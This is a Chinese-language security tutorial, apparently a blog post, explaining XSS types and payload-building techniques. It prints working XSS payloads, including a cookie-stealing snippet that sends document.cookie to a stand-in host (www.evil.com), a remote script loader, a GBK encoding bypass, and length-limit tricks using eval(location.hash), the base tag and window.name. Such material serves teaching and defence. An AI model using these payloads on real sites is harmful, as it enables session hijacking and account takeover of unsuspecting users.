跨站脚本攻击(XSS)

跨站脚本攻击,英文全称是Cross Site Script。XSS攻击,通常指黑客通过”HTML注入“篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示案例是跨域的,所以叫做”跨站脚本“。但是发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要。但是由于历史原因,XSS这个名字却一直保留下来。

 

1)XSS类型

XSS根据效果的不同可以分成如下几类:

1. 反射型XSS

反射型XSS只是简单地把用户输入的数据”发射“给浏览器。也就是说,黑客往往需要诱使用户”点击“一个恶意连接,才能攻击成功。反射型XSS也叫做”非持久型XSS“(Non-persisitent XSS)

2. 存储型XSS

存储型XSS会把用户输入的数据”存储“在服务器端。这种XSS具有很强的稳定性。比较常见的一个场景是,黑客写下一篇包含恶意JavaScript代码的博客文章,文章发表后,所有访问该博客的的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码。黑客把恶意的脚本保存到服务器端,所以这种XSS攻击就叫做”存储型XSS“。

存储型XSS通常也叫做”持久型XSS“(Persistent XSS).

3.DOM Based XSS

通过修改页面的DOM节点形成的XSS,称之为DOM Based XSS。

如下代码:

<script>

function test(){
    var str = document.getElementById("text").value;
    document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}

</script>

<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />

点击”write“按钮后,会在当前页面插入一个超链接,其地址为文本框的内容:

在这里,”write“按钮的onclick事件调用了test()函数。而在test()函数中,修改了页面的DOM节点,通过innerHTML把一段用户数据当做HTML写入到页面中,这就造成了DOM Based XSS。

构造如下数据:

' onclick=alert(/xss/) //

输入后,页面代码就变成了:

<a href='' onclick=alert(/xss/)//' >testLink</a>

首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符”//"注释掉第二个单引号。

点击这个新生成的连接,脚本将被执行:

 

 

2)XSS 攻击进阶

1. XSS Payload - Cookie 劫持

XSS攻击成功后,攻击者能够对用户当前浏览器的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS Payload”。

一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击。

Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录用户的账户。

如下所示,攻击者先加载一个远程脚本:

http://www.a.com/test.html?abc=''><script src=http://www.evil.com/evil.js></script>

真正的XSS Payload写在这个远程脚本中,避免直接在URL的参数里写入大量的JavaScript代码。

在eveil.js中,可以通过如下代码窃取Cookie:

var img = domcument.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段单面在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。

这样,就完成了一个简单的窃取Cookie的XSS Payload。

Set-Cookie时给关键Cookie植入HttpOnly标识,或者把Cookie与客户端IP绑定,都可以防止“Cookie 劫持”。

 

3)XSS构造技巧

1. 利用字符编码

“百度收藏”曾经出现过一个这样的XXS漏洞。百度在一个<script>标签中输出了一个变量,其中转义了双引号:

var redirectUrl="\";alert(/XSS/);";

一般来说,这里是没有XSS漏洞的,因为变量处于双引号之内,系统转义了双引号导致变量无法“escape”。

但是,百度的返回页面是GBK/GB2312编码的,因此“%c1\" 这两个字符组合在一起后,会成为一个Unicode字符。在Firefox下会认为是一个字符,所以构造:

%c1”;alert(/XSS/);//

并提交:

在Firefox下得到如下效果:

这两个字节:“%c1\"组成了一个新的Unicode字符,”%c1“把转义符号”\“给”吃掉了“,从而绕过了系统的安全检查,并成功实施了XSS攻击。

 

2. 绕过长度限制

很多时候,产生XSS的地方会有变量的长度限制,这个限制可能是服务器逻辑造成的。假设下面代码存在一个XSS漏洞:

<input type=text value="$var" />

服务端如果对输出变量"$var" 做了严格的长度限制,那么攻击者可能会这样构造XSS:

$var为: ”><script>alert(/xss/)</script>

希望达到的输出效果是:

<input type=text value=""><script>alert(/xss/)</script>" />

假设长度限制为20个字节,则这段XSS会被切割为:

$var输出为: “><script> alert(/xss

连一个完整的函数都无法写完,XSS攻击可能无法成功。攻击者可以利用事件(Event)来缩短所需的字节数:

$var 输出为:"onclick=alert(1)//

加上空格,刚好20个字节,实际输出为:

<input type=text value="" onclick=alert(1)//""/>

当用户点击了文本框后,alert()将执行:

但利用”事件“能够缩短的字节数是有限的。最好的办法是把XSS Payload写到别处,再通过简短的代码加载这段XSS Payload。

最常用的一个”隐藏码“的地方,就是”location.hash"。而且根据HTTP协议,location.hash的内容不会再HTTP包中发送,所以服务器端的Web日志中并不会记录下location.hash里的内容,从而更好地隐藏了黑客真实的意图。

$var 输出: "onclick="eval(location.hash.substr(1))

总共是40个字节。输出后的HTML是:

<input type="text" value="" onclick="eval(location.hash.substr(1))" />

因为location.hash 的第一个字符是#,所以必须去除第一个字符才行。此时构造出的XSS URL为:

http://www.a.com/test.html#alert(1)

用户点击文本框时,location.hash里的代码执行了。

location.hash 本身没有长度限制,但是浏览器的地址栏是有长度限制的,不过这个长度已经足够写很长的XSS Payload了。要是地址栏的长度也不够用,还可以再使用加载远程JS的方法,来写更多的代码。

 

3. 使用<base>标签 

<base>标签并不常用,它的作用是定义页面上的所有使用“相对路径”标签的hosting地址。

比如,打开一张不存在的图片:

<body>
<img src="/intl/en_ALL/images/srpr/logolw.png" />
</body>

 

这张图片实际上是Google的一张图片,源地址为:

http://www.google.com/intl/en_ALL/images/srpr/logolw.png

在<image>标签前加入一个<base>标签:

<body>
<base href="http://www.google.com" />
<img src="/intl/en_ALL/images/srpr/logolw.png" />
</body>

<base>标签将指定其后的标签默认从“http://www.google.com"取URL:

图片被找到了。

需要特别注意的是,在有的技术文档中,提到<base>标签只能用于<head>标签之内,其实这是不对的。<base>标签可以出现在页面的任何地方,并作用于该标签之后的所有标签。

攻击者如果在页面中插入了<base>标签,就可以通过在远程服务器上伪造图片、链接或脚本,劫持当前页面中的所有使用”相对路径“的标签。比如:

<base href="http://www.evil.com">
...
<script src="x.js">< /script>
...
<img src="y.jpg" />
...
<a href="auth.do" >auth</a>

所有在设计XSS安全方案时,一定要过滤掉这个非常危险的标签。

 

4. window.name 的妙用

window.name 对象是一个很神奇的东西。对当前窗口的window.name 对象赋值,没有特殊字符的限制。因为window对象是浏览器的窗体,而非document对象,因此很多时候window对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。在某些环境下,这种特性将变得非常有用。

参考以下案例。假设”www.a.com/text.html"的代码为:

<body>
  <script>
    window.name="test";
    alert(document.domain+"  "+window.name);
    window.location="http://www.b.com/test1.html";
  </script>
</body>

这段代码将www.name赋值为test,然后显示当前域和window.name的值,最后将页面跳转到“www.b.com/test1.html"。

"www.b.com/test1.html"的代码为:

<body>
  <script>
    alert(document.domain+"  "+window.name);
  </script>
</body>

这里显示了当前域和window.name的值。最终效果如下,访问”www.a.com/test.html":

window.name赋值成功,然后页面自动跳转到“www.b.com/test1.html":

这个过程实现数据的跨域传递:”test“ 这个值从www.a.com传递到www.b.com。

使用window.name 可以缩短XSS Payload的长度,如下所示:

<script>
  window.name = "alert(document.cookie)";
  location.href = "http://www.xssedsite.com/xssed.php";
</script>

在同一窗口打开XSS的站点后,只需通过XSS执行以下代码即可:

eval(name);

只有11个字节,短到了极点。

 

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值